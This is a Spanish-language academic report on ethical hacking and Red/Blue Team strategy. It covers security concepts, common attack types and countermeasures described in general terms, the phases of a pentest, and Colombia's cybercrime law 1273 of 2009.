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GLOSARIO

Ataque: Es el intento de acceder de forma abusiva e ilegal a un dispositivo
informatico usando recursos como virus, malware con el fin de alterar su
funcionamiento.

Blue Team: Equipo de seguridad defensiva que defiende las empresas de ataques
de una manera proactiva.

CVE: Una plataforma en linea muy conocida en el mundo de la ciberseguridad, ya
que proporciona un listado casi ilimitado de vulnerabilidades que han sido
detectadas por diferentes entidades y hackers éticos sin fines de lucro y que ponen
en conocimiento publico con el objetivo de prevenir que sean explotadas.

DMZ: La funcion de una DMZ es permitir las conexiones tanto desde la red interna
como de la externa, mientras que las conexiones que parten de la DMZ solo puedan
salir a la red interna; asi, los equipos locales (hosts, en argot de redes) jamas
podrian conectarse a la red interna.

ExploitDB: Es una base de datos web donde es almacenado un repositorio de
exploits gratuitos para realizar practicas de laboratorio o como pruebas de
penetracion sobre vulnerabilidades encontradas.

Hacker: Un hacker puede ser una persona que actlia con ética ya que se encarga
de la busqueda de vulnerabilidades en un ambiente informatico para asi tomar las
debidas correcciones que minimicen estas fallas.

Metasploit: A través de esta herramienta que se conoce tanto a nivel de seguridad
como de los criminales informaticos para detectar y auditar las vulnerabilidades de
un sistema, todo a través de comandos cortos y de funciones ya grabadas.



Nmap: Es una herramienta open source y de codigo abierto que nos permite
escanear y rastrear el estado de los puertos de una red entera o de una direccidon
IP especifica.

OpenVas: Esta herramienta open source y de software libre bajo la licencia GNU.
Al igual que Nessus este se compone de herramientas que ayudan identificar
vulnerabilidades por medio de escaneo de seguridad de red, contiene una interfaz
gréfica de usuario e integra aplicaciones de seguridad.

Pirata Informatico: Es muy generalizado ya que no solo abarca los datos e
informacion, sino que afecta a varios sectores ya sea por el robo de propiedad
intelectual e incluso puede darse en la usurpacién de personal de una empresa.

Red Team: Emulan a un atacante real haciendo uso de herramientas reales o
similares a la de un atacante para explotar vulnerabilidades usando seguridad
ofensiva

Seguridad Defensiva: Es la encargada de proteger una organizacion de cualquier
amenaza a nivel de ciberseguridad y los recursos informaticos.

Seguridad Ofensiva: Conjunto de herramientas o soluciones que permiten revisar el
estado de vulnerabilidad de un recurso informatico

Vulnerabilidad: Es la debilidad que presenta un sistema informatico que puede
poner en un posible riesgo de seguridad al sistema
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INTRODUCCION

En un mundo digital donde todos tenemos perfiles digitales que nos ayudan a
interactuar con el mundo desde nuestro hogar, oficina, estudio, etc. Sin embargo,
esta informacion es cada vez mas apetecible para los delincuentes informaticos que
cada dia avanzan en la forma de como acceder a esta informacion para poder
venderla al mejor postor o quien demuestre un interés en esta. Es por esto que es
necesario conocer que es lo que los delincuentes buscan en sus victimas para asi
establecer que proteccion se puede dar para reducir el riesgo de que podamos ser
victimas potenciales de este flagelo. Para poder reconocer estos factores, es
necesario saber de casos que ha sucedido y que han sido mostrados en los medios
nacionales para asi lograr identificar qué es lo que estos delincuentes buscan al
acceder ilicitamente a la informacion de las victimas y asi poder reconstruir un perfil
criminal para poder reconocer factores de riesgo en caso de posibles ataques a
nuestra informacion. Basandonos también en las leyes que tenemos al alcance para
asi reconocer como la misma ley puede protegernos y lograr judicializar a uno de
estos delincuentes.

Lo que se busca con este informe es demostrar la importancia de tener una
proteccion de datos de amenazas externas potenciales aplicando técnicas de
ethical hacking como lo es el uso de equipos de seguridad basados en el esquema
de Red Team y Blue Team. Para eso se plantean unos escenarios en los cuales se
debe analizar el método de funcionamiento que tienen estos equipos que, de forma
separada, pero con el mismo objetivo el de hallar, identificar, mitigar y fortalecer los
puntos débiles que en materia de ciberseguridad, seguridad de la informacién y
seguridad informatica pueda tener una empresa. Es por eso que en este informe se
muestra la importancia que ha tomado actualmente el plantear estas estrategias en
las empresas para proteger y salvaguardar la informacion y los datos en todos sus
formatos tanto fisicos como digitales que cada vez, es mas utilizado en el mundo
moderno.
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1 PLANTEAMIENTO DEL PROBLEMA

1.1 ANTECEDENTES DEL PROBLEMA

Las empresas de hoy en dia estan volcando sus servicios al uso de la tecnologia.
Sin embargo, la importancia que se le da a la seguridad de estos recursos en
algunos casos es muy poca 0 ninguna.

Para lograr identificar cada riesgo, amenaza y/o vulnerabilidad, las empresas deben
tener un modelo de administracion segura que vaya enfocado a los lineamientos
culturales y objetivos del negocio de acuerdo con su modelo de negocio. Y que a la
vez se apoye con la parte técnica que permita ver que amenazas se concentran
sobre esos activos informaticos que cada vez toman mucha mas importancia en los
negocios de ahora. Es por esto que en este informe se pretende plasmar como en
cada uno de los escenarios propuestos, utilizando técnicas de ethical hacking
apoyados por herramientas de uso libre conocidas como opensource se va dando
solucion a los problemas planteados en dichos escenarios actuando sobre los
marcos legales y éticos que un especialista de seguridad informatica debe tener
para ejercer esta labor de gran importancia y de mucha complejidad que va
cambiando y evolucionado cada dia ya que los criminales cada vez encuentran
nuevas formas de intentar acceder de forma abusiva e ilegal a la informacioén privada
de las personas y las empresas.

1.2 FORMULACION DEL PROBLEMA

¢,Como aspirante al puesto que ofrece WhiteHouse, tendré las capacidades
técnicas, éticas y legales que WhiteHouse esta buscando?

1.3 DESCRIPCION

WhiteHouse requiere conocer por medio de unos escenarios propuestos basados
en experiencias que han tenido con su informacion, lograr identificar las
capacidades de los aspirantes para el cargo vacante, teniendo en cuenta las
capacidades técnicas y éticas de cada uno en la resolucién de cada escenario a
través de preguntas y ejercicios practicos con ambientes reales de ataques y
vulnerabilidades que se encuentran en una empresa que quiere diagnosticar,
identificar y mitigar o eliminar cualquier amenaza que se cierne sobre su
informacion.
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2 JUSTIFICACION

Al igual que las personas que realizan estos ataques con fines delictivos, también
hay personas que lo hacen con el fin de proveer a las empresas las soluciones que
permitan mitigar el riesgo de ser victimas de estos ataques. Cada dia sale a la luz
vulnerabilidades que pueden afectar a los sistemas de una empresa o en general a
cualquier sistema, por lo cual se hace necesario entender que los riesgos que
desencadenen deben ser mitigados en el menor tiempo posible y elevar el nivel de
seguridad como en el caso que se plantea en este informe.

El analisis de vulnerabilidades se justifica en la constante amenaza que se cierne
en torno a estos recursos informaticos a nivel de empresas. La informacion siempre
estarq expuesta a cualquier tipo de ataque por lo cual siempre habrd un mayor
riesgo de seguridad en esta y nunca habra los controles de seguridad suficientes, y
en algunos casos los controles de seguridad no son aplicados por las empresas de
la mejor manera. Esto es aprovechado por personas externas o en ocasiones
internas a la empresa para poder atentar en contra de las politicas de seguridad
tanto a nivel fisico como a nivel lI6gico de la misma. De ahi la necesidad de que una
empresa cuente con los recursos necesarios para responder a estos ataques y
establecer métodos de seguridad que mitiguen las fallas de seguridad y se
fortalezca la seguridad.

13



3 OBJETIVOS

3.1 OBJETIVO GENERAL

Desarrollar los escenarios propuestos desarrollando habilidades como especialista
en Pentesting y aplicarlas bajo la estrategia de Red Team y Blue Team.

3.2 OBJETIVOS ESPECIFICOS

e Analizar las herramientas Opensource gque existen para encontrar
vulnerabilidades y asi poder realizar un pentesting

e Conocer el manejo de los delitos informaticos en la legislacion colombiana

e Diferenciar entre un Blue Team, un CSIRT y un Red Team

e Entender las implicaciones éticas y legales sobre un caso de la vida real

14



4 MARCO TEORICO

4.1 SEGURIDAD INFORMATICA

La vida actual ha llevado que cada vez dependamos de la tecnologia para multiples
cosas de la vida, tanto para comunicarnos con otras personas a largas distancias o
para realizar nuestras labores mas rapido. Esto sin contar el tiempo que pasamos
conectados a la gran red que es internet, tanto correos electrénicos como
transacciones en linea se ha vuelto muy cotidiano para todos en las ultimas
décadas. Las organizaciones cada vez mas han delegado actividades de vital
importancia para el negocio a los sistemas y redes informaticas como lo pueden ser
los servicios financieros, controles de la produccion etc. Sin embargo, esta
expansion digital ha dejado que su informacion sensible se vea cada vez mas
amenazada por el hecho de estar visibles en la red mundial, de ahi la importancia
de que esta informacién este lo mas segura posible en caso de algun intento de
sustraerla. La seguridad de la informacién se basa en impedir que se ejecuten
operaciones no autorizadas dentro del sistema, que pueden llegar a comprometer
la informacion de una organizacién tanto en su confidencialidad, su integridad y su
autenticidad.!

La seguridad de la informacion la define la norma ISO 17799 como la actividad de
preservar los pilares de la informacion que son confidencialidad, la integridad y/o la
disponibilidad. De la informacion que maneje la organizacion dependera el nivel de
seguridad que se implemente al sistema el cual garantice que los pilares de la
informacién se cumplan.?

La seguridad informatica por su parte es la encargada de encontrar los mecanismos
de control y las medidas que aseguren que los sistemas de informacién de una
organizacion tendran confidencialidad, integridad y estara siempre disponible, tanto
para el hardware, software y toda informacién que almacenen, procesan y
comunican.

En este punto una organizacion debe comprender que la seguridad de la
informacion depende de muchos factores entre los que se destacan:

e La parte directiva debera tomar conciencia de que esta funcién es importante
y por lo cual se debe destinar recursos considerables a esta razon.

1 GOMEZ, VIEITES. Alvaro. Seguridad en equipos informaticos. Espafia: RA-MA, 2000. 165p.
2 |bid., p. 16.
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Los responsables de los sistemas informéticos deben ser personal
capacitado, con conocimientos y dominio de la tecnologia que se maneje,
ademas de conocer de las posibles amenazas y ataques que pueden recibir.

La capacitacion de todos los usuarios, sus responsabilidades y el rol que
desempeiian en la seguridad de la informacion.

La instalacion, configuracidon y mantenimiento de los equipos sea de la
manera correcta.

Todo lo concerniente al soporte de los fabricantes de hardware y software,
estar pendiente de actualizar sus productos para asi corregir las fallas en
seguridad.

Contemplar que las amenazas no solo pueden venir de afuera de la
organizacioén, sino que también de adentro, aplicando el principio de Defensa
en Profundidad.

Adaptar los objetivos de la seguridad con los objetivos y necesidades de la
organizacion.

Se puede concluir que la seguridad de la informacién ha tomado mucha importancia,
al principio las empresas tomaban esta actividad como algo de poca importancia y
en algunos casos hasta creian que era un lujo innecesario, sin embargo en los
tltimos afios ha sido transformada en una necesidad para la gestion corporativa,
siendo una responsabilidad de la Alta gerencia el destinar recursos y los medios
gue se necesiten para la implementacion de un Sistema de Gestidn de la seguridad
de la Informacion.

La seguridad de la informacién tiene unas funciones que son fundamentales en un
proceso de gestion de la seguridad informatica.

Confidencialidad: Debe garantizar que el contenido de un mensaje ya sea
almacenado o transmitido a través de un sistema de informacién solo podra
ser visto por el receptor y el destinatario. Es decir, esta funcion debe
garantizar la confidencialidad de la informacion que reside en una
organizacion tanto a nivel de equipos, servidores, sistemas de Backup y en
la transmision de datos por la red de comunicacion.
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e Autenticidad: Garantiza que en la creacion de un mensaje la identidad del
creador sea legitima dando la seguridad al destinatario de que la informacion
que recibe es legitima. Esta funcion también autentica los equipos en la red
para entrar en un determinado servicio, este tipo de autenticacion puede ser
unilateral que es cuando solo se conecta a la red o mutua donde se intenta
conectar a un servidor y este solicita se autentique para validar sus permisos
y permitir ingresar.

e Integridad: Encargada en que el contenido de un mensaje enviado al
destinatario no se haya visto modificado en el proceso desde su creacion y
su transmision. Y en caso de que esto ocurra, detectar que el mensaje fue
modificado.

¢ No Repudio: Permite probar la autoria y envié de un determinado mensaje,
mediante un mecanismo probatorio tanto el creador del mensaje como el
destinatario no podran negar que crearon y enviaron el mensaje ni negar
haberlo recibido.

e Disponibilidad: Esta funcién es muy importante ya que se encargara de que
el sistema esté siempre a disposicion de los usuarios, este sistema debe ser
lo suficientemente completo para que pueda resistir ataques e interferencias
y aun asi funcionar correctamente. Ademas, debe contar con un sistema de
recuperacion en caso de algun incidente de seguridad, al igual que a factores
inesperados como desastres naturales o atagues malintencionados.?

Para una organizacion el implantar un sistema de seguridad para la informacion
requiere una inversién considerable, para esto se debe analizar previamente las
posibilidades de pérdida para la organizacion y evaluar los riesgos. El objetivo para
una organizacion debera ser que en caso de un ataque a los recursos o a la
informacion sensible de la organizacion no tenga mayor costo para la misma, sino
gue al contrario sea mas costoso para el atacante. Las organizaciones deben de
tener la idea que esto es una inversion que a largo plazo es menor en comparacion
a los bienes y recursos que estan protegiendo, esto después de analizar el costo
beneficio dara una respuesta clara a que se debe invertir lo que sea necesario para
proteger estos recursos. Las organizaciones deben analizar muy bien que
expectativas debe cumplir esta seguridad ya que si no estd enfocada en las
necesidades y la mision de la organizacibn estd muy posiblemente no sera
suficiente para evitar que la informacién o los recursos de la organizacion se vean

3 1pid., p. 20, 21.
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expuestos en un ataque, y que al final representara un costo muy elevado ya que
se debera reponer y resarcir el dafio causado.

La seguridad de la informacién se debera implementarse de una manera ordenada
y a través de un proceso formal que debera estar bien documentado y en este se
definiran las responsabilidades a partir de unas politicas y procedimientos. A este
proceso se le conoce como un Sistema de Gestion de la Seguridad de la informacion
(SGSI), este es un estdndar completo de procesos que van encaminados a
establecer, implementar, mantener y mejorar de una manera continua la seguridad
de la informacién tomando como referencia los riesgos a los que esta expuesta la
organizacion. Este sistema cuenta con multiples procesos en los que se destacan
dos:

e Procesos de Gestidn: se encargan de controlar todo el sistema y su mejora
continua.

e Procesos de Seguridad: se encargan de gestionar los procesos de seguridad
de la informacion.*

4.2 AMENAZAS A UNA RED CORPORATIVA

Los ataques informéticos a las empresas siempre estan motivados por el factor
econémico, aunque para algunos casos y en muchos ataques la motivaciéon del
atacante es simplemente el reto de acceder a un sistema. Existen muchas formas
de ataques que se pueden hacer a la red de una empresa, aunque la mas comun
es la de ataques por virus, ataques de denegacion de servicios (DoS) etc.

e Ataques de repeticion

Su vector de ataque se centra en la utilizacién de componentes que hacen la captura
de contrasefias que han sido utilizadas anteriormente para acceder a aplicaciones
de red. Para mitigar esto se recomienda aplicar software que identifique la
reutilizacion de contrasefias y no permita el ingreso.

e Ataques de diccionario

Se basa en la utilizacion de un listado de contrasefias encriptadas, aprovechando
qgue los sistemas de autenticacion trabajan de forma unidireccional en el uso de
contrasefas para computarlas de forma facil pero descifrada complicado, para esto
se usa este listado para comparar las contrasefias guardadas en este de la misma
forma y asi encontrar una contrasefia que se repita.

4 Ibid., p. 30, 31.
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e Alteracion y destruccion

En esta categoria se encuentran los virus, DoS, correos Phishing, Spam, etc. Los
ataques DoS saturan los recursos del sistema hasta el punto del colapso del sistema
para bloquear las aplicaciones. Hay varias formas de realizar ataques DoS donde
se destacan él envi6 de trafico basura como paquetes flooding o envio de solicitudes
de conexién con direcciones IP ficticias.®

e Troyano

También conocidos como caballos de Troya debido a su método de infeccidén en los
sistemas de informacion que evoca al caballo de Troya de la mitologia griega, ya
que se encuentra escondido dentro de software que simula ser para cumplir un fin
determinado y que el usuario necesita, pero que tiene instrucciones las cuales
buscan degradar la seguridad y el sistema como tal sin que el usuario lo sepa y
camuflarse dentro de este como un software inofensivo. Normalmente se usan con
el fin de esconder al usuario atacante y a su vez prolongar la infecciéon creando
BackDoors en el caso de que este sea descubierto.®

e MITM (Man In The Middle)

Consiste en la interceptacion de informacién desde un equipo cliente hacia un
servidor sin que estos se percaten de este proceso. Todo esto ocurre cuando el
equipo que realiza el ataque se infiltra en la red LAN y con técnicas de ARP Spoofing
hace creer al equipo victima que esta realizando una conexion con la puerta de
enlace con la MAC del equipo atacante.

Un ataque de tipo MITM es facilmente ejecutado a través de un conjunto de técnicas
gue permiten recibir la informacion de ambos extremos entre las cuales estan:

e Usar un certificado invalido y hacer que el equipo cliente lo acepte a través
del navegador.

e Usar un certificado valido en un dominio registrado por el atacante y el
cliente confundirlo con un dominio legitimo.

e No usar un certificado y hacer un ataque en tiempo real.

5 ARIAS SANCHEZ, Pablo. Disefio de una red LAN/WAN segura para el Tribunal Constitucional
aplicando la metodologia de 3 capas de CISCO. Quito. 2011. Tesis de Licenciatura. Pontificia
Universidad Catdlica del Ecuador. Facultad de ingenieria

SHUERTA, Antonio. Seguridad en Unix y redes. 2002, vol. 1, p. 81.
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Hay otro tipo de ataque de tipo MITM el cual consiste en la cual obliga que la
conexion entre las partes se haga de manera forzada con el protocolo HTTP y evitar
que la informacion se cifre con el protocolo HTTPS. Para esto el equipo atacante se
sita entre el cliente y el servidor a través de distintas técnicas que incluyen
suplantaciéon ARP, modificacion del proxy en el navegador o una red Wi-Fi de
acceso abierto. Aqui cuando se logra que el atacante intercepte el trafico entre las
dos partes, busca el momento de que la comunicacion cambie de HTTP a HTTPS,
para asi enviar un trafico falso a la victima para que no se complete el proceso de
redireccionamiento y después si se haga la conexion con el servidor por HTTPS
para asi tanto la victima como el atacante tengan acceso al sitio aunque la victima
no lo hace cifrando la informacién sino que la envia a través del protocolo HTTP y
asi el atacante podra recibir la informacién que la victima envié en un archivo de
texto plano.

e Validacion incorrecta de certificados

- Certificados Autofirmados: estos certificados son parecidos a los certificados
firmados por una entidad certificadora no fiable, pero en estos ellos no tiene
otra entidad certificadora que el mismo certificado. Como estos certificados
son faciles de crear y no se pueden verificar por ninguna entidad, estos
certificados no deben ser validos, de por si los navegadores son capaces de
detectarlos y envian advertencias al usuario al querer ejecutar alguno.

- Certificados Expirados: para realizar la validacion de los certificados es
necesario hacerlo a travées de X.509 donde se verifican las fechas de
expedicion y expiracion, lo cual implica que la fecha de verificacion debe estar
dentro de este rango.

- Aceptacion de CA desconocidas:

e Revision de revocacion de certificados

Cada vez que un certificado se valida por razones diferentes que no cumplen con
las politicas de X.509 (seguridad del certificado no segura, la llave privada o la CA
hayan sido comprometidas, el propietario ya no califica), estos certificados deben
revocarse y reportarse a la Lista de Revocacion de Certificados (CRLs) y al
Protocolo de Status de Certificados en Linea (OCSP).

e Basic Constraints

En 2002, Moxiw Marlinspike demostré como validar una CA no segura de nivel
intermedio, todo a través del valor del pardmetro Basic Constraints que esta en el
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certificado. Si este valor se encuentra en “false”, el certificado no es valido por
ninguna CA intermedia. Pero hay navegadores y proxies de interceptacion que
pueden no validar correctamente este valor, y permitir que se lleven a cabo ataques
por medio de certificados validos y actuar como una CA intermedia y firmar otros
certificados.

Para poder contrarrestar estas amenazas es necesario usar algunas medidas de
seguridad.

- Nuevos Protocolos: Fuzzy Secure Socket Layer (FSSL)

- Validacién de certificados en el navegador

- HTTP Strict Transport Security (HSTS): obliga el uso de HTTPS en la
navegacion

- The Public Key Pinning Extension for HTTP (HPKP): cada sitio especifica su
clave publica con cabecera HTTP y rechaza el sitio que no sea conocida

- TLS Origin-Bound Certificate (TLS-OBC): Autentica al cliente por TLS, los
navegadores generan un certificado autofirmados para cliente bajo demanda,
sin configuraciones de usuario’

e Auditoria en Seguridad Informatica

Es un documento donde analiza detalladamente un sistema de informacion,
permitiendo ver, descubrir, identificar y corregir las vulnerabilidades en todo lo que
compone un sistema de informacion ya sea Hardware, Software, infraestructura y
recurso humano y en la labor que desempefa. Al final de esta se centra en que se
cumplan los procedimientos de seguridad y se cumplan las politicas de seguridad,
dando un vistazo actual a la seguridad que tiene la organizacion.

Dentro del documento que entrega el encargado o equipo encargado de la auditoria
resalta que vulnerabilidades se identificaron durante el andlisis y ademas donde
contiene:

- Descripcion y Caracteristicas de los activos y procesos analizados

- Andlisis de las relaciones y dependencias entre activos o en el proceso de la
informacion

- Relacion y evaluacion de las vulnerabilidades detectadas en cada activo o
subconjunto de activos y procesos

- Verificacién del cumplimiento de la normativa en el &mbito de la seguridad

7 ANGULO CASTRO, Diana. Analisis de herramientas de interceptacion para el control de ataques
reales de suplantacién con certificados SSL. 2018.

21



- Propuestas de medidas preventivas y de correccién.?

4.3 DELITO INFORMATICO

Es todo aquel delito que atente en contra de cualquier sistema informatico, ya sea
sobre algun programa o informacion sensible o de mucha relevancia, o mediante la
manipulacion de alguna de las tecnologias de la informacion siendo tipico (es decir
que esté en contra del cédigo penal), antijuridico (alguna norma existente
configurada) y culpable (se le imputa el delito).

4.3.1 TIPOS DE DELITO INFORMATICO

e HACKING: Se le conoce como el acto de ingresar a un sistema de informacion
sin autorizacion del propietario o el encargado de administrar dicho sistema, este
proceso lo realiza vulnerando los sistemas de proteccion para tener acceso a
informacion sensible con diferentes fines (ver, copiar o destruir).

e CRACKING: el objetivo del cracking es muy similar al del hacking el cual ingresa
de la misma forma, pero su objetivo es destruir este sistema de alguna forma,
ya sea cambiando contenidos que generen que el sistema colapse.

e PHREAKING: es usada para obtener acceso gratuito a los servicios de telefonia
ya sea esta digital o analoga, celular o fija.

e CARDING: forma de fraude que se utiliza con tarjetas de crédito u otras tarjetas
gue usen numeros de identificacion o sean recargables. Todo con el fin de
realizar compras por distintos métodos, estos numeros pueden ser robados o
creados a través de procedimientos digitales.®

4.4 PENTESTING

Existen varios conceptos de pentesting segun la metodologia que se vaya a
implementar en un analisis de vulnerabilidades. En términos generales se conoce
como pentesting al método donde el investigador forense o hacker ético intenta
generar un tipo de ataque de forma segura para tener acceso o control de un
sistema informéatico llamese red, equipos de cOmputo etc. Para de esta manera
descubrir y asi lograr mitigar o corregir las vulnerabilidades encontradas y que
pueden afectar a la organizacion basandose en un conjunto de técnicas y

8 AGUILERA LOPEZ, Purificacion. Seguridad informatica. (2010). Editex. 240p.

9 CABRERA MEZA, Harold. Introduccion Informatica Forense. (2013).
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procedimientos utilizados en muchas ocasiones por los mismos atacantes reales.

El pentesting sirve como medio de evaluacion para medir el compromiso que tiene
la organizacion con la seguridad informatica y si sus politicas de seguridad
informéatica han llegado al punto de que sus procesos de seguridad deben estar en
constante evolucion y que ningiin mecanismo o metodologia sera suficiente para
proteger completamente la informacion ante los ataques. La mejor forma de que las
empresas estén seguras ante los ataques es que estén conscientes que la mejor
forma es prevenir y detectar cualquier vulnerabilidad que se tenga y tener presente
que siempre habré vulnerabilidades y asi estar preparado con contingencias que
minimicen el impacto del ataque.

4.4.1 PASOS PARA HACER UN PENTESTING

Para poder ejecutar un pentesting es importante definir desde el principio la
metodologia que logre cubrir las necesidades de la organizacion a auditar, sin
embargo, estas metodologias pueden ser estdndar o se puede seguir un esquema
propio siempre y cuando cumpla con los objetivos de realizar el pentesting. Para
esto hay metodologias muy conocidas en el campo del pentesting, una de ellas es
la OSSTMM (Open Source Security Testing Methodology Manual) del Instituto para
la Seguridad y las Metodologias Abiertas (ISECOM). Existe también la OWASP
(Open Web Application Security Project) enfocada en auditoria a paginas y
aplicaciones web y por dultimo esta ISSAF (Information Systems Security
Assessment Framework).

Como se menciond anteriormente, la metodologia influye en el proceso de
pentesting, cada metodologia usa sus propios pasos para realizar un pentesting
donde algunos ejecutan mas procesos gue otras o hay mas fases. Por eso se toman
algunos de los pasos fundamentales para un pentesting que la mayoria de las
metodologias comparten y se describen a continuacion:

e Fase de Recoleccion de Informacion

En esta se empieza con la recoleccién de toda la informacion, es muy importante
ya que de esa informacién se comenzara un proceso que dispondra en su totalidad
de esta informacion. Estos datos van desde la razén de la empresa, su core o ndcleo
de negocios y hasta la conformacion de la empresa. Todo esto a través de una
recoleccion pasiva de informacién para que no haya interaccion directa con los
activos tecnoldgicos que se auditan, todo esto a través de consultas publicas en
internet sobre el objetivo.
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e Fase de Enumeracion

Similar a la fase de recoleccion con la diferencia que ya se puede hacer contacto
con los activos tecnoldgicos, haciendo pruebas de intrusion con herramientas que
sean para pentesting. Aqui quedaran identificados los objetivos a través de multiples
pruebas dependiendo del area a auditar (escaneo de puertos, identificacion de
servicios, sistemas operativos, etc.).

e Fase de analisis

Existe ya una interaccion con los activos tecnoldgicos donde por medio de algunos
ataques se busque explotar una vulnerabilidad comprometiendo activamente al
servicio, equipo, o dispositivo. Para esto es necesario que el analista cuente con los
permisos por parte de la empresa para hacer estos ataques para realizar este
andlisis. Esto se logra usando la informacion recolectada en las fases anteriores
para asi poder ejecutar los escaneres de vulnerabilidades que permitiran evidenciar
los puntos débiles de los medios analizados.

e Fase de Explotacion

Como su nombre lo indica, en este punto los ataques ya son intrusivos y directos y
van a un objetivo especifico, para esto es necesario en algunos casos el uso de
exploits ejecutados desde frameworks. Aqui se ejecutan atagues comunes como
son fuerza bruta, cracking passwords, captura de paquetes de red, ingenieria social,
ejecucion de exploits conocidos, ataques DoS, pivoting, escalada de privilegios, etc.

e Fase de Documentacion

Es la culminacion después de ejecutadas las demas fases, obteniendo los
resultados de los analisis y plasmandolos en un documento detallando los procesos
realizados durante el pentest. En este documento es importante el plasmar las
medidas de prevencidon que se sugieren para evitar que la empresa sea victima de
algun tipo de ataque reales a los que se ve expuesta.

El objetivo de esta fase es que se exponga a las personas encargadas y
responsables de TI los resultados obtenidos a través de la labor realizada y que
fallas y vulnerabilidades se han detectado con este pentest, donde se deben dejar
en dos tipos de informes (técnico y ejecutivo).

El informe técnico es aquel que se explica en lenguaje detallado y técnico todas las
actividades realizadas describiendo herramientas utilizadas y los resultados que se
obtuvieron con esto y que se debe hacer para mitigar y resolver las fallas
encontradas.
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El informe ejecutivo por su parte es un resumen mas ligero donde se explique qué
vulnerabilidades se han encontrado suprimiendo el lenguaje técnico por completo.
Este debe ser explicado de una forma de facil comprension para cualquier persona
gue no trabaje en TI, pero explique los riesgos que existen actualmente en la
organizacion, pero que explique detalladamente las recomendaciones que el
profesional de seguridad informatica debe listar.1°

10 ERAZO BASTIDAS, Carlos. Identificacion de vulnerabilidades de los servicios tecnol6gicos de la
unién de cooperativas de ahorro y crédito del norte aplicando la practica de Pentesting. Ibarra. 2017.
98p. Tesis de Licenciatura. Universidad Técnica del Norte. Facultad de Ingenieria y Ciencias
Aplicadas.
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5 METODOLOGIA

La metodologia para aplicar en este informe es la de aprendizaje que se basa en la
lectura y ejercicios practicos que permiten desarrollar las habilidades necesarias
para resolver las cuestiones tedricas y practicas que se plantean para el desarrollo
de cada una de las actividades. Basandose también en lecturas y recursos
bibliograficos que permitan comprender a detalle las situaciones planteadas y dar
solucién con un criterio ético y profesional como se solicita.
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6 DESARROLLO DEL INFORME

6.1 ETAPA 1-CONCEPTOS EQUIPOS DE SEGURIDAD

6.1.1 Dentro del margen legal en Colombia sobre delitos informaticos y
proteccion de datos personales redacte con sus propias palabras que
legislacion “leyes, decretos” existen actualmente y las caracteristicas
principales de cada ley.

6.1.1.1 Ley 1273 de 2009

La ley 1273 fue creada el 05 de enero de 2009 y fue denominada como
“De la proteccién de la informacién y de los datos”, la cual va encaminada
en la modificacion del cédigo penal, y en considerar que los hechos
delictivos en contra de sistemas informaticos ya se contemplan como tal
y se especifican sus sanciones.

Tabla 1 Delitos informaticos amparados por la Ley 1273 de 2009

Delito informatico

Descripcién

Articulo

ACCESO ABUSIVO A UN
SISTEMA INFORMATICO

Explica que se considera delito
el acceso parcial o total a un
sistema informético sin
autorizaciéon o que abusando
de la confianza del que tiene el
derecho a excluir, acceda y no
quiera salir del mismo, incurrira
en pena de prisién de 48 a 96
meses de prisibn y en una
multa de 100 a 1000 SMLMV.

Articulo 269A de la Ley 1273
de 2009, Ley de
Delitos Informaticos en
Colombia
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Tabla 1 (Continuacién)

OBSTACULIZACION
ILEGITIMA DE SISTEMA
INFORMATICO O RED DE
TELECOMUNICACION

Toda accion que tenga como
fin impedir u obstaculizar de
alguna forma el acceso y/o el
funcionamiento de cualquier
tipo de sistema informatico
(lamese datos, red de
telecomunicaciones) sin estar
facultado para ello incurrira en
sancion de 48 a 96 meses de
prisibn y a multas de 100 a
1000 SMLMV.

Articulo 269B de laley 1273 de
2009, Ley de

Delitos Informaticos en
Colombia

INTERCEPTACION

Esta ley contempla a todo
aquel individuo que sin
pertenecer a la rama judicial o
tenga permiso judicial, haga
cualquier tipo de interceptacion
desde su origen o destino, aun
desde un sistema informético.
Tendra una sancién que va
desde los 36 alos 72 meses de
prision.

Articulo 269C de laley 1273 de

2009, Ley de
Delitos Informaticos en
Colombia

DANO INFORMATICO

Contempla en la destruccion,
dafio, borrado, deterioro, algin
tipo de alteracién parcial o total
de informacién ya sea que este
en un sistema de tratamiento
(base de datos) o atente en
contra de este, la sancion va
desde los 48 alos 96 meses de
prision y a la multa de 100 a
1000 SMLMV.

Articulo 269D de laley 1273 de
2009, Ley de

Delitos Informaticos en
Colombia
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Tabla 1 (Continuacién)

uso DE SOFTWARE Aqui se contempla los delitos Articulo 269E de la ley 1273 de
MALICIOSO relacionados con software 2009, Ley de

malicioso y virus, tanto la Delitos Informéticos en

compilacién, obtencion, Colombia

sustraccion, lo compre o lo

venda o cualquier hecho con el

cual tenga beneficio propio o0 a

una tercera persona, tendra

sanciones desde los 48 a 96

meses de prision y a multas de

100 a 1000 SMLMV.
VIOLACION DE DATOS Basicamente contempla todo Articulo 269F de la ley 1273,
PERSONALES lo relacionado en la De 2009, Ley de

divulgaciéon y obtencién de
datos personales o datos
sensible de una organizacion
con fines delictivos tendra
sancion de 48 a 96 meses de
prisién y a multas desde 100 a
1000 SMLMV.

Delitos Informaticos en

Colombia
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Tabla 1 (Continuacién)

SUPLANTACION DE SITIOS El cual dice, que una persona
WEB PARA CAPTURAR que con fines delictivos y sin

DATOS PERSONALES

tener las capacidades para
hacerlo, disefie, desarrolle,
trafique, venda, ejecute,
programe o le envié paginas
web a enlaces fraudulentos a
otra persona o entidad, o que
este incurra en la modificacion
de algun sistema de resolucion
de nombres de dominio con el
fin de engafiar a la otra
persona haciéndole creer que
esta entrando a algun sitio de
confianza. Incurrira en penas
gue van desde los 48 meses a
los 96 meses de prisién y a
pagar multas de 100 a 1000
SMLMV.

Articulo 269G de laley 1273 de
2009, Ley de

Delitos informaticos en
Colombia
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Tabla 1 (Continuacién)

AGRAVANTES Seran motivo de agravante de
los articulos anteriores los
siguientes casos.

>

Todo tipo de delito u
ataque a entidades
estatales u oficiales
Algan empleado o
servidor publico en
ejercicio de sus
labores

Abusando de la
confianza del
poseedor o similares
El que revele o
divulgue alguna
informacion buscando
perjuicio para alguien
El que lo haga con
fines de lucro
Cometer algin delito
con fines terroristas o
alguna accion que
ponga en riesgo la
seguridad y defensa
nacional

Manipulando una
tercera persona la cual
actué de buena fe

Si se comprueba que
el imputado tiene
nexos 0 maneja esta
informacion quedara

inhabilitado para
manejar algun tipo de
informacion con
sistemas

computacionales por
un periodo de 3 afios.

Como ha pasado en casos
muy conocidos, han alterado
paginas de bancos, entidades
del Estado o paginas de
caracter publico. Todo esto a
través de muchas modalidades
como el Phishing en correos
electrénicos o creando paginas
fraudulentas a bancos.

Articulo 269H de laley 1273 de
2009, Ley de

Delitos
Colombia

informaticos

en
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Tabla 1 (Continuacion)

